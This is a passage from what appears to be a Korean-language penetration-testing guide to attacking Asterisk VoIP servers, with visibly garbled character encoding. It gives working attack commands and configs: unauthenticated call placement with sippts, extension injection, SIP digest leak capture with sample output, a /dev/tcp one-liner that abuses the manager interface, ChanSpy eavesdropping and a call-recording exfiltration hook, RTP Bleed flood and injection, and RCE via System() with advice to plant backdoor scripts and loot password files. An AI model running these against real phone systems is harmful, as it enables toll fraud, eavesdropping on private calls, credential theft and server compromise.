•ν•©λ‹ˆλ‹€. 예λ₯Ό λ“€μ–΄: ```scss [my_context] exten => 100,1,Answer() exten => 100,n,Playback(welcome) exten => 100,n,Hangup() ``` 이 μ˜ˆμ œλŠ” "my\_context"λΌλŠ” κ°„λ‹¨ν•œ μ»¨ν…μŠ€νŠΈμ™€ "100"μ΄λΌλŠ” ν™•μž₯을 λ³΄μ—¬μ€λ‹ˆλ‹€. λˆ„κ΅°κ°€ 100을 λ‹€μ΄μ–Όν•˜λ©΄, 톡화가 μ—°κ²°λ˜κ³  ν™˜μ˜ λ©”μ‹œμ§€κ°€ μž¬μƒλœ ν›„ 톡화가 μ’…λ£Œλ©λ‹ˆλ‹€. 이것은 **λ‹€λ₯Έ μ»¨ν…μŠ€νŠΈ**둜, **λ‹€λ₯Έ 번호둜 μ „ν™”λ₯Ό κ±Έ 수 있게** ν•©λ‹ˆλ‹€: ```scss [external] exten => _X.,1,Dial(SIP/trunk/${EXTEN}) ``` κ΄€λ¦¬μžκ°€ **κΈ°λ³Έ μ»¨ν…μŠ€νŠΈ**λ₯Ό λ‹€μŒκ³Ό 같이 μ •μ˜ν•˜λ©΄: ``` [default] include => my_context include => external ``` {% hint style="warning" %} λˆ„κ΅¬λ‚˜ **μ„œλ²„λ₯Ό μ‚¬μš©ν•˜μ—¬ λ‹€λ₯Έ 번호둜 μ „ν™”λ₯Ό κ±Έ 수 μžˆμŠ΅λ‹ˆλ‹€** (μ„œλ²„μ˜ κ΄€λ¦¬μžκ°€ μ „ν™”λ₯Ό λΉ„μš©μ„ μ§€λΆˆν•©λ‹ˆλ‹€). {% endhint %} {% hint style="danger" %} κ²Œλ‹€κ°€ 기본적으둜 **`sip.conf`** νŒŒμΌμ—λŠ” **`allowguest=true`**κ°€ ν¬ν•¨λ˜μ–΄ μžˆμœΌλ―€λ‘œ **인증 없이** **μ–΄λ–€** κ³΅κ²©μžλ„ λ‹€λ₯Έ 번호둜 μ „ν™”λ₯Ό κ±Έ 수 μžˆμŠ΅λ‹ˆλ‹€. {% endhint %} * **`SIPPTS invite`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS inviteλŠ” **PBX μ„œλ²„κ°€ 인증 없이 μ „ν™”λ₯Ό κ±Έ 수 μžˆλ„λ‘ ν—ˆμš©ν•˜λŠ”μ§€** ν™•μΈν•©λ‹ˆλ‹€. SIP μ„œλ²„μ˜ ꡬ성이 잘λͺ»λœ 경우 μ™ΈλΆ€ 번호둜 μ „ν™”λ₯Ό κ±Έ 수 μžˆλ„λ‘ ν—ˆμš©ν•©λ‹ˆλ‹€. λ˜ν•œ μ „ν™”λ₯Ό 두 번째 μ™ΈλΆ€ 번호둜 전솑할 수 μžˆλ„λ‘ ν—ˆμš©ν•  수 μžˆμŠ΅λ‹ˆλ‹€. 예λ₯Ό λ“€μ–΄, Asterisk μ„œλ²„μ— 잘λͺ»λœ μ»¨ν…μŠ€νŠΈ ꡬ성이 μžˆλŠ” 경우, 인증 없이 INVITE μš”μ²­μ„ μˆ˜λ½ν•  수 μžˆμŠ΅λ‹ˆλ‹€. 이 경우 κ³΅κ²©μžλŠ” μ‚¬μš©μž/λΉ„λ°€λ²ˆν˜Έλ₯Ό μ•Œμ§€ λͺ»ν•˜κ³ λ„ μ „ν™”λ₯Ό κ±Έ 수 μžˆμŠ΅λ‹ˆλ‹€. {% code overflow="wrap" %} ```bash # Trying to make a call to the number 555555555 (without auth) with source number 200. sippts invite -i 10.10.0.10 -fu 200 -tu 555555555 -v # Trying to make a call to the number 555555555 (without auth) and transfer it to number 444444444. sippts invite -i 10.10.0.10 -tu 555555555 -t 444444444 ``` {% endcode %} ### 무료 톡화 / 잘λͺ» κ΅¬μ„±λœ IVRS IVRSλŠ” **μΈν„°λž™ν‹°λΈŒ μŒμ„± 응닡 μ‹œμŠ€ν…œ**을 μ˜λ―Έν•˜λ©°, μ‚¬μš©μžκ°€ μŒμ„± λ˜λŠ” ν„°μΉ˜ν†€ μž…λ ₯을 톡해 μ»΄ν“¨ν„°ν™”λœ μ‹œμŠ€ν…œκ³Ό μƒν˜Έμž‘μš©ν•  수 μžˆλ„λ‘ ν•˜λŠ” μ „ν™” κΈ°μˆ μž…λ‹ˆλ‹€. IVRSλŠ” 정보λ₯Ό μ œκ³΅ν•˜κ³ , μ „ν™”λ₯Ό λΌμš°νŒ…ν•˜λ©°, μ‚¬μš©μž μž…λ ₯을 μΊ‘μ²˜ν•˜λŠ” λ“± λ‹€μ–‘ν•œ κΈ°λŠ₯을 μ œκ³΅ν•˜λŠ” **μžλ™ν™”λœ 톡화 처리** μ‹œμŠ€ν…œμ„ κ΅¬μΆ•ν•˜λŠ” 데 μ‚¬μš©λ©λ‹ˆλ‹€. VoIP μ‹œμŠ€ν…œμ˜ IVRSλŠ” 일반적으둜 λ‹€μŒμœΌλ‘œ κ΅¬μ„±λ©λ‹ˆλ‹€: 1. **μŒμ„± ν”„λ‘¬ν”„νŠΈ**: μ‚¬μš©μžμ—κ²Œ IVR 메뉴 μ˜΅μ…˜ 및 지침을 μ•ˆλ‚΄ν•˜λŠ” 미리 λ…ΉμŒλœ μ˜€λ””μ˜€ λ©”μ‹œμ§€μž…λ‹ˆλ‹€. 2. **DTMF** (λ“€μ–Ό 톀 닀쀑 주파수) μ‹ ν˜Έ: μ „ν™” ν‚€λ₯Ό 눌러 μƒμ„±λœ ν„°μΉ˜ν†€ μž…λ ₯으둜, IVR 메뉴λ₯Ό νƒμƒ‰ν•˜κ³  μž…λ ₯을 μ œκ³΅ν•˜λŠ” 데 μ‚¬μš©λ©λ‹ˆλ‹€. 3. **톡화 λΌμš°νŒ…**: μ‚¬μš©μž μž…λ ₯에 따라 νŠΉμ • λΆ€μ„œ, 상담원 λ˜λŠ” λ‚΄μ„ μœΌλ‘œ μ „ν™”λ₯Ό μ μ ˆν•œ λͺ©μ μ§€λ‘œ μ•ˆλ‚΄ν•©λ‹ˆλ‹€. 4. **μ‚¬μš©μž μž…λ ₯ 캑처**: κ³„μ’Œ 번호, 사건 ID λ˜λŠ” 기타 κ΄€λ ¨ 데이터λ₯Ό ν¬ν•¨ν•˜μ—¬ λ°œμ‹ μžλ‘œλΆ€ν„° 정보λ₯Ό μˆ˜μ§‘ν•©λ‹ˆλ‹€. 5. **μ™ΈλΆ€ μ‹œμŠ€ν…œκ³Όμ˜ 톡합**: IVR μ‹œμŠ€ν…œμ„ λ°μ΄ν„°λ² μ΄μŠ€ λ˜λŠ” 기타 μ†Œν”„νŠΈμ›¨μ–΄ μ‹œμŠ€ν…œμ— μ—°κ²°ν•˜μ—¬ 정보λ₯Ό μ•‘μ„ΈμŠ€ν•˜κ±°λ‚˜ μ—…λ°μ΄νŠΈν•˜κ³ , μž‘μ—…μ„ μˆ˜ν–‰ν•˜κ±°λ‚˜ 이벀트λ₯Ό νŠΈλ¦¬κ±°ν•©λ‹ˆλ‹€. Asterisk VoIP μ‹œμŠ€ν…œμ—μ„œλŠ” 닀이얼 ν”Œλžœ (**`extensions.conf`** 파일)κ³Ό `Background()`, `Playback()`, `Read()` λ“± λ‹€μ–‘ν•œ μ• ν”Œλ¦¬μΌ€μ΄μ…˜μ„ μ‚¬μš©ν•˜μ—¬ IVR을 생성할 수 μžˆμŠ΅λ‹ˆλ‹€. μ΄λŸ¬ν•œ μ• ν”Œλ¦¬μΌ€μ΄μ…˜μ€ μŒμ„± ν”„λ‘¬ν”„νŠΈλ₯Ό μž¬μƒν•˜κ³ , μ‚¬μš©μž μž…λ ₯을 μΊ‘μ²˜ν•˜λ©°, 톡화 흐름을 μ œμ–΄ν•˜λŠ” 데 도움을 μ€λ‹ˆλ‹€. #### μ·¨μ•½ν•œ κ΅¬μ„±μ˜ 예 ```scss exten => 0,100,Read(numbers,the_call,,,,5) exten => 0,101,GotoIf("$[${numbers}"="1"]?200) exten => 0,102,GotoIf("$[${numbers}"="2"]?300) exten => 0,103,GotoIf("$[${numbers}"=""]?100) exten => 0,104,Dial(LOCAL/${numbers}) ``` 이전은 μ‚¬μš©μžκ°€ **λΆ€μ„œλ₯Ό ν˜ΈμΆœν•˜κΈ° μœ„ν•΄ 1을 λˆ„λ₯΄κ±°λ‚˜**, **λ‹€λ₯Έ λΆ€μ„œλ₯Ό ν˜ΈμΆœν•˜κΈ° μœ„ν•΄ 2λ₯Ό λˆ„λ₯΄κ±°λ‚˜**, **μ•Œκ³  μžˆλŠ” 전체 λ‚΄μ„  번호λ₯Ό μž…λ ₯ν•˜λΌλŠ”** μ˜ˆμž…λ‹ˆλ‹€.\ 취약점은 μ§€μ •λœ **λ‚΄μ„  길이가 ν™•μΈλ˜μ§€ μ•ŠκΈ° λ•Œλ¬Έμ— μ‚¬μš©μžκ°€ 5초 νƒ€μž„μ•„μ›ƒμ„ μž…λ ₯ν•˜μ—¬ 전체 번호λ₯Ό μž…λ ₯ν•  수 있고, 호좜될 수 μžˆλ‹€λŠ”** μ‚¬μ‹€μž…λ‹ˆλ‹€. ### Extension Injection λ‹€μŒκ³Ό 같은 내선을 μ‚¬μš©ν•˜μ—¬: ```scss exten => _X.,1,Dial(SIP/${EXTEN}) ``` Where **`${EXTEN}`**λŠ” 호좜될 **λ‚΄μ„ **이며, **ext 101이 λ„μž…λ˜λ©΄** λ‹€μŒκ³Ό 같은 일이 λ°œμƒν•©λ‹ˆλ‹€: ```scss exten => 101,1,Dial(SIP/101) ``` κ·ΈλŸ¬λ‚˜ **`${EXTEN}`**이 **숫자 이상**을 μž…λ ₯ν•  수 있게 ν—ˆμš©ν•œλ‹€λ©΄(ꡬ버전 Asterisk와 같이), κ³΅κ²©μžλŠ” **`101&SIP123123123`**을 μž…λ ₯ν•˜μ—¬ μ „ν™”λ²ˆν˜Έ 123123123으둜 μ „ν™”λ₯Ό κ±Έ 수 μžˆμŠ΅λ‹ˆλ‹€. 그리고 이것이 κ²°κ³Όμž…λ‹ˆλ‹€: ```scss exten => 101&SIP123123123,1,Dial(SIP/101&SIP123123123) ``` λ”°λΌμ„œ **`101`** 및 **`123123123`**으둜의 호좜이 μ „μ†‘λ˜λ©°, 첫 번째 호좜만 μ—°κ²°λ©λ‹ˆλ‹€... κ·ΈλŸ¬λ‚˜ κ³΅κ²©μžκ°€ **μΌμΉ˜ν•˜λŠ” ν•­λͺ©μ„ μš°νšŒν•˜λŠ” ν™•μž₯**을 μ‚¬μš©ν•˜μ§€λ§Œ μ‘΄μž¬ν•˜μ§€ μ•ŠλŠ” 경우, κ·ΈλŠ” **μ›ν•˜λŠ” 번호둜만 μ „ν™”λ₯Ό μ£Όμž…ν•  수 μžˆμŠ΅λ‹ˆλ‹€**. ## SIPDigestLeak 취약점 SIP Digest LeakλŠ” ν•˜λ“œμ›¨μ–΄ 및 μ†Œν”„νŠΈμ›¨μ–΄ IP 전화와 μ „ν™” μ–΄λŒ‘ν„°(VoIPμ—μ„œ μ•„λ‚ λ‘œκ·Έλ‘œ) λ“± λ§Žμ€ SIP 전화에 영ν–₯을 λ―ΈμΉ˜λŠ” μ·¨μ•½μ μž…λ‹ˆλ‹€. 이 취약점은 **λΉ„λ°€λ²ˆν˜Έλ‘œλΆ€ν„° κ³„μ‚°λœ Digest 인증 μ‘λ‹΅μ˜ 유좜**을 ν—ˆμš©ν•©λ‹ˆλ‹€. **μ˜€ν”„λΌμΈ λΉ„λ°€λ²ˆν˜Έ 곡격이 κ°€λŠ₯해지며** 도전 응닡을 기반으둜 λŒ€λΆ€λΆ„μ˜ λΉ„λ°€λ²ˆν˜Έλ₯Ό 볡ꡬ할 수 μžˆμŠ΅λ‹ˆλ‹€. **[μ—¬κΈ°μ—μ„œμ˜ 취약점 μ‹œλ‚˜λ¦¬μ˜€**](https://resources.enablesecurity.com/resources/sipdigestleak-tut.pdf): 1. IP μ „ν™”(ν”Όν•΄μž)λŠ” λͺ¨λ“  포트(예: 5060)μ—μ„œ μ „ν™”λ₯Ό μˆ˜μ‹ ν•˜κ³  μžˆμŠ΅λ‹ˆλ‹€. 2. κ³΅κ²©μžκ°€ IP 전화에 INVITEλ₯Ό λ³΄λƒ…λ‹ˆλ‹€. 3. ν”Όν•΄μž μ „ν™”κ°€ 울리기 μ‹œμž‘ν•˜κ³  λˆ„κ΅°κ°€ μ „ν™”λ₯Ό λ°›κ³  λŠμŠ΅λ‹ˆλ‹€(μƒλŒ€λ°©μ΄ μ „ν™”λ₯Ό 받지 μ•ŠκΈ° λ•Œλ¬Έμ—). 4. μ „ν™”κ°€ λŠμ–΄μ§€λ©΄ **ν”Όν•΄μž μ „ν™”κ°€ κ³΅κ²©μžμ—κ²Œ BYEλ₯Ό λ³΄λƒ…λ‹ˆλ‹€**. 5. **κ³΅κ²©μžκ°€ 407 응닡을 λ°œν–‰**ν•˜μ—¬ **인증을 μš”μ²­**ν•˜κ³  인증 도전을 λ°œν–‰ν•©λ‹ˆλ‹€. 6. **ν”Όν•΄μž μ „ν™”κ°€ 두 번째 BYEμ—μ„œ 인증 도전에 λŒ€ν•œ 응닡을 μ œκ³΅ν•©λ‹ˆλ‹€**. 7. **κ³΅κ²©μžλŠ” μžμ‹ μ˜ 둜컬 λ¨Έμ‹ (λ˜λŠ” λΆ„μ‚° λ„€νŠΈμ›Œν¬ λ“±)μ—μ„œ 도전 응닡에 λŒ€ν•œ 무차별 λŒ€μž… 곡격을 μˆ˜ν–‰ν•  수 있으며** λΉ„λ°€λ²ˆν˜Έλ₯Ό μΆ”μΈ‘ν•  수 μžˆμŠ΅λ‹ˆλ‹€. * **SIPPTS 유좜**은 [**sippts**](https://github.com/Pepelux/sippts)**μ—μ„œ:** SIPPTS μœ μΆœμ€ λ§Žμ€ SIP 전화에 영ν–₯을 λ―ΈμΉ˜λŠ” SIP Digest Leak 취약점을 μ•…μš©ν•©λ‹ˆλ‹€. 좜λ ₯은 SipCrack ν˜•μ‹μœΌλ‘œ μ €μž₯λ˜μ–΄ SIPPTS dcrack λ˜λŠ” SipCrack 도ꡬλ₯Ό μ‚¬μš©ν•˜μ—¬ 무차별 λŒ€μž… 곡격을 μˆ˜ν–‰ν•  수 μžˆμŠ΅λ‹ˆλ‹€. ```bash sippts leak -i 10.10.0.10 [!] Target: 10.10.0.10:5060/UDP [!] Caller: 100 [!] Callee: 100 [=>] Request INVITE [<=] Response 100 Trying [<=] Response 180 Ringing [<=] Response 200 OK [=>] Request ACK ... waiting for BYE ... [<=] Received BYE [=>] Request 407 Proxy Authentication Required [<=] Received BYE with digest [=>] Request 200 Ok Auth=Digest username="pepelux", realm="asterisk", nonce="lcwnqoz0", uri="sip:100@10.10.0.10:56583;transport=UDP", response="31fece0d4ff6fd524c1d4c9482e99bb2", algorithm=MD5 ``` ### Click2Call Click2Call은 **μ›Ή μ‚¬μš©μž**κ°€ (예λ₯Ό λ“€μ–΄, μ œν’ˆμ— 관심이 μžˆμ„ 수 μžˆλŠ”) **μ „ν™”λ²ˆν˜Έ**λ₯Ό **제곡**ν•˜μ—¬ μ „ν™”λ₯Ό 받을 수 μžˆλ„λ‘ ν•©λ‹ˆλ‹€. 그러면 상업적인 μ „ν™”κ°€ 걸리고, μ‚¬μš©μžκ°€ **μ „ν™”λ₯Ό λ°›μœΌλ©΄** μ‚¬μš©μžμ™€ **상담원이 μ—°κ²°**λ©λ‹ˆλ‹€. 이와 κ΄€λ ¨λœ 일반적인 Asterisk ν”„λ‘œν•„μ€: ```scss [web_user] secret = complex_password deny = 0.0.0.0/0.0.0.0 allow = 0.0.0.0/0.0.0.0 displayconnects = yes read = system,call,log,verbose,agent,user,config,dtmf,reporting,crd,diapla write = system,call,agent,user,config,command,reporting,originate ``` * 이전 ν”„λ‘œν•„μ€ **λͺ¨λ“  IP μ£Όμ†Œκ°€ μ—°κ²°ν•  수 μžˆλ„λ‘ ν—ˆμš©**ν•˜κ³  μžˆμŠ΅λ‹ˆλ‹€ (λΉ„λ°€λ²ˆν˜Έκ°€ μ•Œλ €μ§„ 경우). * **μ „ν™”λ₯Ό μ‘°μ§ν•˜κΈ° μœ„ν•΄**, 이전에 λͺ…μ‹œλœ λŒ€λ‘œ, **읽기 κΆŒν•œμ΄ ν•„μš”ν•˜μ§€ μ•ŠμœΌλ©°** **였직** **μ“°κΈ°**μ—μ„œ **λ°œμ‹ **만 ν•„μš”ν•©λ‹ˆλ‹€. μ΄λŸ¬ν•œ κΆŒν•œμœΌλ‘œ λΉ„λ°€λ²ˆν˜Έλ₯Ό μ•„λŠ” λͺ¨λ“  IPκ°€ μ—°κ²°ν•˜μ—¬ λ„ˆλ¬΄ λ§Žμ€ 정보λ₯Ό μΆ”μΆœν•  수 μžˆμŠ΅λ‹ˆλ‹€, 예λ₯Ό λ“€μ–΄: {% code overflow="wrap" %} ```bash # Get all the peers exec 3<>/dev/tcp/10.10.10.10/5038 && echo -e "Action: Login\nUsername:test\nSecret:password\nEvents: off\n\nAction:Command\nCommand: sip show peers\n\nAction: logoff\n\n">&3 && cat <&3 ``` {% endcode %} **μΆ”κ°€ μ •λ³΄λ‚˜ 쑰치λ₯Ό μš”μ²­ν•  수 μžˆμŠ΅λ‹ˆλ‹€.** ### **도청** Asteriskμ—μ„œλŠ” **`ChanSpy`** λͺ…λ Ήμ–΄λ₯Ό μ‚¬μš©ν•˜μ—¬ **λͺ¨λ‹ˆν„°λ§ν•  λ‚΄μ„ **(λ˜λŠ” λͺ¨λ“  λ‚΄μ„ )을 μ§€μ •ν•˜μ—¬ 진행 쀑인 λŒ€ν™”λ₯Ό 듀을 수 μžˆμŠ΅λ‹ˆλ‹€. 이 λͺ…λ Ήμ–΄λŠ” 내선에 ν• λ‹Ήλ˜μ–΄μ•Ό ν•©λ‹ˆλ‹€. 예λ₯Ό λ“€μ–΄, **`exten => 333,1,ChanSpy('all',qb)`**λŠ” **λ‚΄μ„  333**으둜 **μ „ν™”**λ₯Ό κ±Έλ©΄ **λͺ¨λ“ ** 내선을 **λͺ¨λ‹ˆν„°λ§**ν•˜κ³ , μƒˆλ‘œμš΄ λŒ€ν™”κ°€ μ‹œμž‘λ  λ•Œλ§ˆλ‹€ (**`b`**) μ‘°μš©ν•œ λͺ¨λ“œ(**`q`**)둜 **λ“£κΈ° μ‹œμž‘**함을 λ‚˜νƒ€λƒ…λ‹ˆλ‹€. μš°λ¦¬λŠ” 이에 μƒν˜Έμž‘μš©ν•˜κ³  싢지 μ•ŠκΈ° λ•Œλ¬Έμž…λ‹ˆλ‹€. **`*`**λ₯Ό λˆŒλŸ¬μ„œ λ˜λŠ” λ‚΄μ„  번호λ₯Ό μž…λ ₯ν•˜μ—¬ 진행 쀑인 λŒ€ν™”μ—μ„œ λ‹€λ₯Έ λŒ€ν™”λ‘œ 이동할 수 μžˆμŠ΅λ‹ˆλ‹€. ν•˜λ‚˜μ˜ λ‚΄μ„ λ§Œ λͺ¨λ‹ˆν„°λ§ν•˜λ €λ©΄ **`ExtenSpy`**λ₯Ό μ‚¬μš©ν•  μˆ˜λ„ μžˆμŠ΅λ‹ˆλ‹€. λŒ€ν™”λ₯Ό λ“£λŠ” λŒ€μ‹ , λ‹€μŒκ³Ό 같은 내선을 μ‚¬μš©ν•˜μ—¬ **νŒŒμΌμ— 기둝**ν•  수 μžˆμŠ΅λ‹ˆλ‹€: {% code overflow="wrap" %} ```scss [recorded-context] exten => _X.,1,Set(NAME=/tmp/${CONTEXT}_${EXTEN}_${CALLERID(num)}_${UNIQUEID}.wav) exten => _X.,2,MixMonitor(${NAME}) ``` {% endcode %} ν†΅ν™”λŠ” **`/tmp`**에 μ €μž₯λ©λ‹ˆλ‹€. Asteriskκ°€ 톡화가 μ’…λ£Œλ  λ•Œ **톡화λ₯Ό μœ μΆœν•˜λŠ” 슀크립트λ₯Ό μ‹€ν–‰**ν•˜λ„λ‘ ν•  μˆ˜λ„ μžˆμŠ΅λ‹ˆλ‹€. ```scss exten => h,1,System(/tmp/leak_conv.sh &) ``` ### RTCPBleed 취약점 **RTCPBleed**λŠ” Asterisk 기반 VoIP μ„œλ²„μ— 영ν–₯을 λ―ΈμΉ˜λŠ” μ£Όμš” λ³΄μ•ˆ λ¬Έμ œμž…λ‹ˆλ‹€(2017년에 λ°œν‘œλ¨). 이 취약점은 VoIP λŒ€ν™”λ₯Ό μ „λ‹¬ν•˜λŠ” **RTP(μ‹€μ‹œκ°„ ν”„λ‘œν† μ½œ) νŠΈλž˜ν”½**이 **μΈν„°λ„·μ˜ λˆ„κ΅¬λ‚˜ κ°€λ‘œμ±„κ³  λ¦¬λ””λ ‰μ…˜ν•  수 μžˆλ„λ‘** ν—ˆμš©ν•©λ‹ˆλ‹€. μ΄λŠ” RTP νŠΈλž˜ν”½μ΄ NAT(λ„€νŠΈμ›Œν¬ μ£Όμ†Œ λ³€ν™˜) 방화벽을 톡과할 λ•Œ 인증을 μš°νšŒν•˜κΈ° λ•Œλ¬Έμ— λ°œμƒν•©λ‹ˆλ‹€. RTP ν”„λ‘μ‹œλŠ” 두 개 μ΄μƒμ˜ λ‹Ήμ‚¬μž κ°„μ˜ RTP μŠ€νŠΈλ¦Όμ„ ν”„λ‘μ‹œν•˜μ—¬ RTC μ‹œμŠ€ν…œμ— 영ν–₯을 λ―ΈμΉ˜λŠ” **NAT μ œν•œ**을 ν•΄κ²°ν•˜λ €κ³  ν•©λ‹ˆλ‹€. NATκ°€ μžˆλŠ” 경우, RTP ν”„λ‘μ‹œ μ†Œν”„νŠΈμ›¨μ–΄λŠ” μ’…μ’… μ‹ ν˜Έλ₯Ό 톡해 κ²€μƒ‰λœ RTP IP 및 포트 정보λ₯Ό μ‹ λ’°ν•  수 μ—†μŠ΅λ‹ˆλ‹€(예: SIP). λ”°λΌμ„œ μ—¬λŸ¬ RTP ν”„λ‘μ‹œλŠ” μ΄λŸ¬ν•œ **IP 및 포트 νŠœν”Œμ„ μžλ™μœΌλ‘œ ν•™μŠ΅ν•˜λŠ” λ©”μ»€λ‹ˆμ¦˜**을 κ΅¬ν˜„ν–ˆμŠ΅λ‹ˆλ‹€. μ΄λŠ” μ’…μ’… λ“€μ–΄μ˜€λŠ” RTP νŠΈλž˜ν”½μ„ κ²€μ‚¬ν•˜κ³  λ“€μ–΄μ˜€λŠ” RTP νŠΈλž˜ν”½μ˜ μΆœλ°œμ§€ IP 및 포트λ₯Ό 응닡해야 ν•  κ²ƒμœΌλ‘œ ν‘œμ‹œν•˜λŠ” λ°©μ‹μœΌλ‘œ μˆ˜ν–‰λ©λ‹ˆλ‹€. 이 λ©”μ»€λ‹ˆμ¦˜μ€ "ν•™μŠ΅ λͺ¨λ“œ"라고 뢈릴 수 있으며, **μ–΄λ– ν•œ μ’…λ₯˜μ˜ 인증도 μ‚¬μš©ν•˜μ§€ μ•ŠμŠ΅λ‹ˆλ‹€**. λ”°λΌμ„œ **곡격자**λŠ” **RTP ν”„λ‘μ‹œλ‘œ RTP νŠΈλž˜ν”½μ„ μ „μ†‘ν•˜κ³ ** 진행 쀑인 RTP 슀트림의 λ°œμ‹ μž λ˜λŠ” μˆ˜μ‹ μžλ₯Ό μœ„ν•΄ μ˜λ„λœ ν”„λ‘μ‹œ RTP νŠΈλž˜ν”½μ„ 받을 수 μžˆμŠ΅λ‹ˆλ‹€. μš°λ¦¬λŠ” 이 취약점을 RTP Bleed라고 λΆ€λ₯΄λ©°, μ΄λŠ” κ³΅κ²©μžκ°€ 합법적인 μ‚¬μš©μžμ—κ²Œ 전솑될 RTP λ―Έλ””μ–΄ μŠ€νŠΈλ¦Όμ„ 받을 수 있게 ν•©λ‹ˆλ‹€. RTP ν”„λ‘μ‹œμ™€ RTP μŠ€νƒμ˜ 또 λ‹€λ₯Έ ν₯미둜운 λ™μž‘μ€ λ•Œλ•Œλ‘œ **RTP Bleed에 μ·¨μ•½ν•˜μ§€ μ•Šλ”λΌλ„** **λͺ¨λ“  좜처의 RTP νŒ¨ν‚·μ„ μˆ˜λ½ν•˜κ³  전달 및/λ˜λŠ” 처리**ν•œλ‹€λŠ” κ²ƒμž…λ‹ˆλ‹€. λ”°λΌμ„œ κ³΅κ²©μžλŠ” 합법적인 λ―Έλ””μ–΄ λŒ€μ‹  μžμ‹ μ˜ λ―Έλ””μ–΄λ₯Ό μ£Όμž…ν•  수 μžˆλŠ” RTP νŒ¨ν‚·μ„ 보낼 수 μžˆμŠ΅λ‹ˆλ‹€. μš°λ¦¬λŠ” 이 곡격을 RTP μ£Όμž…μ΄λΌκ³  λΆ€λ₯΄λ©°, μ΄λŠ” κΈ°μ‘΄ RTP μŠ€νŠΈλ¦Όμ— λΆˆλ²•μ μΈ RTP νŒ¨ν‚·μ„ μ£Όμž…ν•  수 있게 ν•©λ‹ˆλ‹€. 이 취약점은 RTP ν”„λ‘μ‹œμ™€ μ—”λ“œν¬μΈνŠΈ λͺ¨λ‘μ—μ„œ 발견될 수 μžˆμŠ΅λ‹ˆλ‹€. Asterisk와 FreePBXλŠ” μ „ν†΅μ μœΌλ‘œ **`NAT=yes` μ„€μ •**을 μ‚¬μš©ν•˜μ—¬ RTP νŠΈλž˜ν”½μ΄ 인증을 μš°νšŒν•˜λ„λ‘ ν•˜μ—¬, ν†΅ν™”μ—μ„œ μ˜€λ””μ˜€κ°€ μ—†κ±°λ‚˜ 일방ν–₯ μ˜€λ””μ˜€κ°€ λ°œμƒν•  수 μžˆμŠ΅λ‹ˆλ‹€. μžμ„Έν•œ μ •λ³΄λŠ” [https://www.rtpbleed.com/](https://www.rtpbleed.com/)λ₯Ό ν™•μΈν•˜μ„Έμš”. * **`SIPPTS rtpbleed`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS rtpbleedλŠ” RTP μŠ€νŠΈλ¦Όμ„ μ „μ†‘ν•˜μ—¬ RTP Bleed 취약점을 κ°μ§€ν•©λ‹ˆλ‹€. ```bash sippts rtpbleed -i 10.10.0.10 ``` * **`SIPPTS rtcpbleed`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS rtcpbleedλŠ” RTCP μŠ€νŠΈλ¦Όμ„ μ „μ†‘ν•˜μ—¬ RTP Bleed 취약점을 κ°μ§€ν•©λ‹ˆλ‹€. ```bash sippts rtcpbleed -i 10.10.0.10 ``` * **`SIPPTS rtpbleedflood`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS rtpbleedfloodλŠ” RTP μŠ€νŠΈλ¦Όμ„ μ „μ†‘ν•˜μ—¬ RTP Bleed 취약점을 μ•…μš©ν•©λ‹ˆλ‹€. ```bash sippts rtpbleedflood -i 10.10.0.10 -p 10070 -v ``` * **`SIPPTS rtpbleedinject`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS rtpbleedinjectλŠ” μ˜€λ””μ˜€ 파일(WAV ν˜•μ‹)을 μ£Όμž…ν•˜μ—¬ RTP Bleed 취약점을 μ•…μš©ν•©λ‹ˆλ‹€. ```bash sippts rtpbleedinject -i 10.10.0.10 -p 10070 -f audio.wav ``` ### RCE Asteriskμ—μ„œ μ–΄λ–»κ²Œλ“  **ν™•μž₯ κ·œμΉ™μ„ μΆ”κ°€ν•˜κ³  이λ₯Ό λ‹€μ‹œ λ‘œλ“œ**ν•  수 μžˆλ‹€λ©΄(예: μ·¨μ•½ν•œ μ›Ή κ΄€λ¦¬μž μ„œλ²„λ₯Ό νƒ€κ²ŸμœΌλ‘œ ν•˜μ—¬), **`System`** λͺ…령을 μ‚¬μš©ν•˜μ—¬ RCEλ₯Ό 얻을 수 μžˆμŠ΅λ‹ˆλ‹€. ```scss same => n,System(echo "Called at $(date)" >> /tmp/call_log.txt) ``` There is command called **`Shell`** that could be used **instead of `System`** to execute system commands if necessary. {% hint style="warning" %} μ„œλ²„κ°€ **`System`** λͺ…λ Ήμ—μ„œ **νŠΉμ • 문자의 μ‚¬μš©μ„ κΈˆμ§€**ν•˜κ³  μžˆλŠ” 경우(예: Elastix), μ›Ή μ„œλ²„κ°€ **μ‹œμŠ€ν…œ λ‚΄μ—μ„œ νŒŒμΌμ„ 생성할 수 μžˆλŠ”μ§€** ν™•μΈν•˜κ³ (예: Elastix λ˜λŠ” trixbox), 이λ₯Ό μ‚¬μš©ν•˜μ—¬ **백도어 슀크립트**λ₯Ό μƒμ„±ν•œ λ‹€μŒ **`System`**을 μ‚¬μš©ν•˜μ—¬ ν•΄λ‹Ή **슀크립트**λ₯Ό **μ‹€ν–‰**ν•˜μ‹­μ‹œμ˜€. {% endhint %} #### ν₯미둜운 둜컬 파일 및 κΆŒν•œ * **`sip.conf`** -> SIP μ‚¬μš©μž λΉ„λ°€λ²ˆν˜Έλ₯Ό ν¬ν•¨ν•©λ‹ˆλ‹€. * **Asterisk μ„œλ²„κ°€ root둜 μ‹€ν–‰λ˜κ³  μžˆλŠ” 경우**, rootλ₯Ό μ†μƒμ‹œν‚¬ 수 μžˆμŠ΅λ‹ˆλ‹€. * **mysql root μ‚¬μš©μž**λŠ” **λΉ„λ°€λ²ˆν˜Έκ°€ 없을 수 μžˆμŠ΅λ‹ˆλ‹€**. * 이λ₯Ό μ‚¬μš©ν•˜μ—¬ λ°±λ„μ–΄λ‘œ μƒˆλ‘œμš΄ mysql μ‚¬μš©μžλ₯Ό 생성할 수 μžˆμŠ΅λ‹ˆλ‹€. * **`FreePBX`** * **`amportal.conf`** -> μ›Ή νŒ¨λ„ κ΄€λ¦¬μž(FreePBX)의 λΉ„λ°€λ²ˆν˜Έλ₯Ό ν¬ν•¨ν•©λ‹ˆλ‹€. * **`FreePBX.conf`** -> λ°μ΄ν„°λ² μ΄μŠ€μ— μ ‘κ·Όν•˜λŠ” 데 μ‚¬μš©λ˜λŠ” FreePBXuser의 λΉ„λ°€λ²ˆν˜Έλ₯Ό ν¬ν•¨ν•©λ‹ˆλ‹€. * 이λ₯Ό 